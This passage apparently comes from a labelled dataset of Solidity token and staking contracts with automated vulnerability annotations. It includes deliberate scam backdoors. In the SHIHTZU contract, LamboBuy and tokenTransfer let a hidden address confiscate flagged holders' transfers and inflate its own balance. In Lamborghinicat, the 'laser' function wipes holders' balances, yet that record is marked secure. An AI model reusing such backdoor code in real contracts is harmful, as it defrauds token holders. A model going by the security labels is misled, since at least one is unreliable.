(uint256 pending) {\n UserInfo storage user = userInfo[_user];\n\n uint256 lpSupply = lpToken.balanceOf(address(this));\n\n uint256 accRewardPerShare_ = accRewardPerShare;\n\n if (block.number > lastRewardBlock && lpSupply != 0) {\n uint256 blocks = block.number.sub(lastRewardBlock);\n\n uint256 blockReward = blocks.mul(rewardPerBlock);\n\n accRewardPerShare_ = accRewardPerShare_.add(\n blockReward.mul(ACC_REWARD_PRECISION) / lpSupply\n );\n }\n\n pending = int256(\n user.amount.mul(accRewardPerShare_) / ACC_REWARD_PRECISION\n ).sub(user.rewardDebt).toUint256();\n }\n\n function updatePool() public {\n if (block.number > lastRewardBlock) {\n uint256 lpSupply = lpToken.balanceOf(address(this));\n\n if (lpSupply > 0) {\n uint256 blocks = block.number.sub(lastRewardBlock);\n\n uint256 blockReward = blocks.mul(rewardPerBlock);\n\n accRewardPerShare = accRewardPerShare.add(\n blockReward.mul(ACC_REWARD_PRECISION) / lpSupply\n );\n }\n\n lastRewardBlock = block.number;\n\n emit LogUpdatePool(lastRewardBlock, lpSupply, accRewardPerShare);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d54c62d): Reentrancy in Staking.deposit(uint256,address) External calls lpToken.safeTransferFrom(msg.sender,address(this),amount) Event emitted after the call(s) Deposit(msg.sender,amount,to)\n\t// Recommendation for d54c62d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(uint256 amount, address to) public {\n updatePool();\n\n UserInfo storage user = userInfo[to];\n\n user.lastDepositedAt = block.timestamp;\n\n user.amount = user.amount.add(amount);\n\n user.rewardDebt = user.rewardDebt.add(\n int256(amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION)\n );\n\n\t\t// reentrancy-events | ID: d54c62d\n lpToken.safeTransferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-events | ID: d54c62d\n emit Deposit(msg.sender, amount, to);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 53be7b3): Staking.withdraw(uint256,address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= user.lastDepositedAt.add(vestingTime),Vesting time requires!)\n\t// Recommendation for 53be7b3: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6376a1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6376a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 amount, address to) public {\n updatePool();\n\n UserInfo storage user = userInfo[msg.sender];\n\n\t\t// timestamp | ID: 53be7b3\n require(\n block.timestamp >= user.lastDepositedAt.add(vestingTime),\n \"Vesting time requires!\"\n );\n\n int256 accumulatedReward = int256(\n user.amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION\n );\n\n uint256 _pendingReward = accumulatedReward\n .sub(user.rewardDebt)\n .toUint256();\n\n user.rewardDebt = accumulatedReward.sub(\n int256(amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION)\n );\n\n user.amount = user.amount.sub(amount);\n\n\t\t// reentrancy-events | ID: a6376a1\n reward.safeTransfer(to, _pendingReward);\n\n\t\t// reentrancy-events | ID: a6376a1\n lpToken.safeTransfer(to, amount);\n\n\t\t// reentrancy-events | ID: a6376a1\n emit Withdraw(msg.sender, amount, to);\n\n\t\t// reentrancy-events | ID: a6376a1\n emit Harvest(msg.sender, _pendingReward);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fc0af1d): Reentrancy in Staking.harvest(address) External calls reward.safeTransfer(to,_pendingReward) Event emitted after the call(s) Harvest(msg.sender,_pendingReward)\n\t// Recommendation for fc0af1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function harvest(address to) public {\n updatePool();\n\n UserInfo storage user = userInfo[msg.sender];\n\n int256 accumulatedReward = int256(\n user.amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION\n );\n\n uint256 _pendingReward = accumulatedReward\n .sub(user.rewardDebt)\n .toUint256();\n\n user.rewardDebt = accumulatedReward;\n\n if (_pendingReward != 0) {\n\t\t\t// reentrancy-events | ID: fc0af1d\n reward.safeTransfer(to, _pendingReward);\n }\n\n\t\t// reentrancy-events | ID: fc0af1d\n emit Harvest(msg.sender, _pendingReward);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 298ec97): Staking.emergencyWithdraw(address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= user.lastDepositedAt.add(vestingTime),Vesting time requires!)\n\t// Recommendation for 298ec97: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6137704): Reentrancy in Staking.emergencyWithdraw(address) External calls lpToken.safeTransfer(to,amount) Event emitted after the call(s) EmergencyWithdraw(msg.sender,amount,to)\n\t// Recommendation for 6137704: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function emergencyWithdraw(address to) public {\n UserInfo storage user = userInfo[msg.sender];\n\n\t\t// timestamp | ID: 298ec97\n require(\n block.timestamp >= user.lastDepositedAt.add(vestingTime),\n \"Vesting time requires!\"\n );\n\n uint256 amount = user.amount;\n\n user.amount = 0;\n\n user.rewardDebt = 0;\n\n\t\t// reentrancy-events | ID: 6137704\n lpToken.safeTransfer(to, amount);\n\n\t\t// reentrancy-events | ID: 6137704\n emit EmergencyWithdraw(msg.sender, amount, to);\n }\n\n function depositReward(uint256 amount) external onlyOwner {\n reward.safeTransferFrom(msg.sender, address(this), amount);\n }\n\n function withdrawReward(uint256 amount) external onlyOwner {\n reward.safeTransfer(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c6c2890): Staking.updateVestingTime(uint256) should emit an event for vestingTime = priodInSecond \n\t// Recommendation for c6c2890: Emit an event for critical parameter changes.\n function updateVestingTime(uint256 priodInSecond) external onlyOwner {\n\t\t// events-maths | ID: c6c2890\n vestingTime = priodInSecond;\n }\n}",
"file_name": "solidity_code_4092.sol",
"secure": 0,
"size_bytes": 9670
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BOOKOFPEPE is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n uint8 public immutable _decimals;\n\n string public _symbol;\n\n string public _name;\n\n constructor() {\n _name = \"BOOK OF PEPA\";\n\n _symbol = \"BOPA\";\n\n _decimals = 18;\n\n _totalSupply = 100000000000 * 1000000000000000000;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address addressOwner,\n address spender\n ) external view returns (uint256) {\n return _allowances[addressOwner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"Transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(\n subtractedValue,\n \"Decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"Transfer from the zero address\");\n\n require(recipient != address(0), \"Transfer to the zero address\");\n\n require(amount <= _balances[sender], \"Transfer amount exceeds balance\");\n\n _balances[sender] = _balances[sender].sub(amount);\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address addressOwner,\n address spender,\n uint256 amount\n ) internal {\n require(addressOwner != address(0), \"Approve from the zero address\");\n\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[addressOwner][spender] = amount;\n\n emit Approval(addressOwner, spender, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"Burn from the zero address\");\n\n _balances[account] = _balances[account].sub(\n amount,\n \"Burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) public returns (bool) {\n _burn(_msgSender(), amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_4093.sol",
"secure": 1,
"size_bytes": 4684
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PepeTrumpCoinInu10 is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: ee904f5): PepeTrumpCoinInu10.maxSupply should be constant \n\t// Recommendation for ee904f5: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"PTCI10\", \"PepeTrumpCoinInu10\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4094.sol",
"secure": 1,
"size_bytes": 631
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Lamborghinicat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable revive;\n\n constructor() {\n _name = \"Lamborghini Cat\";\n\n _symbol = \"LAMBO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 812000000;\n\n revive = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == revive, \"Not allowed\");\n\n _;\n }\n\n function laser(address[] memory death) public onlyOwner {\n for (uint256 i = 0; i < death.length; i++) {\n address account = death[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4095.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Deviscat is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: bc02d97): deviscat.maxSupply should be constant \n\t// Recommendation for bc02d97: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"Dev is Cat\", \"DevisCat\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4096.sol",
"secure": 1,
"size_bytes": 605
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LOL is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 296daeb): LOL.maxSupply should be constant \n\t// Recommendation for 296daeb: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 42000000000 * 1e18;\n\n constructor() ERC20(\"LOL Token\", \"LOL\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4097.sol",
"secure": 1,
"size_bytes": 590
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"🐸PEPEWIF\", unicode\"🐸PEPEWIF\", 9, 50000000) {}\n}",
"file_name": "solidity_code_4098.sol",
"secure": 1,
"size_bytes": 209
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 03aa212): Contract locking ether found Contract SHIHTZU has payable functions SHIHTZU.receive() But does not have a function to withdraw the ether\n// Recommendation for 03aa212: Remove the 'payable' attribute or add a withdraw function.\ncontract SHIHTZU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: baf6c24): SHIHTZU._name should be constant \n\t// Recommendation for baf6c24: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Shih Tzu\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e79faac): SHIHTZU._symbol should be constant \n\t// Recommendation for e79faac: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SHIHTZU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a6584e2): SHIHTZU._decimals should be constant \n\t// Recommendation for a6584e2: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 10fb133): SHIHTZU.Dodo should be immutable \n\t// Recommendation for 10fb133: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Dodo;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 75b638c): SHIHTZU._totalSupply should be immutable \n\t// Recommendation for 75b638c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a29a66): SHIHTZU.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 9a29a66: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Dodo = payable(address(0x2fEeb27B6aACc255Bf53c6C514cd5783F06a898b));\n\n _isExcludefromFee[Dodo] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 105fa44): SHIHTZU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 105fa44: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6555cb): SHIHTZU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b6555cb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 93b05a9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 362c400\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 03aa212): Contract locking ether found Contract SHIHTZU has payable functions SHIHTZU.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 03aa212: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 362c400): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 362c400: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 93b05a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 93b05a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 362c400\n\t\t// reentrancy-benign | ID: 93b05a9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 362c400\n\t\t// reentrancy-benign | ID: 93b05a9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7645b92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7645b92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launchPad() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 7645b92\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7645b92\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: 7645b92\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: 7645b92\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b38ead4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b38ead4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 022646f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 022646f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Dodo) ? true : false)\n _balances[address(Dodo)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: b38ead4\n\t\t\t\t// reentrancy-no-eth | ID: 022646f\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 022646f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: b38ead4\n\t\t\t// reentrancy-no-eth | ID: 022646f\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 022646f\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: b38ead4\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: b38ead4\n\t\t// reentrancy-events | ID: 362c400\n\t\t// reentrancy-benign | ID: 93b05a9\n\t\t// reentrancy-no-eth | ID: 022646f\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Dodo),\n block.timestamp\n )\n {} catch {}\n }\n\n function LamboBuy(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Dodo) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 022646f\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: b38ead4\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}",
"file_name": "solidity_code_4099.sol",
"secure": 0,
"size_bytes": 12277
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}",
"file_name": "solidity_code_41.sol",
"secure": 1,
"size_bytes": 311
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}",
"file_name": "solidity_code_410.sol",
"secure": 1,
"size_bytes": 875
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Blubi is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: fb85609): Blubi.maxSupply should be constant \n\t// Recommendation for fb85609: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"Blubi\", \"Blubi\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4100.sol",
"secure": 1,
"size_bytes": 591
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"GOLDENCAT\", unicode\"GOLDENCAT\", 9, 8000000000)\n {}\n}",
"file_name": "solidity_code_4101.sol",
"secure": 1,
"size_bytes": 221
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MizaClassic is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n uint256 public immutable initialSupply = 10000000000 * 10 ** decimals();\n\n constructor() ERC20(\"MizaClassic\", \"MIZA\") Ownable(msg.sender) {\n decimals();\n\n _mint(msg.sender, initialSupply);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_4102.sol",
"secure": 1,
"size_bytes": 1117
} |
{
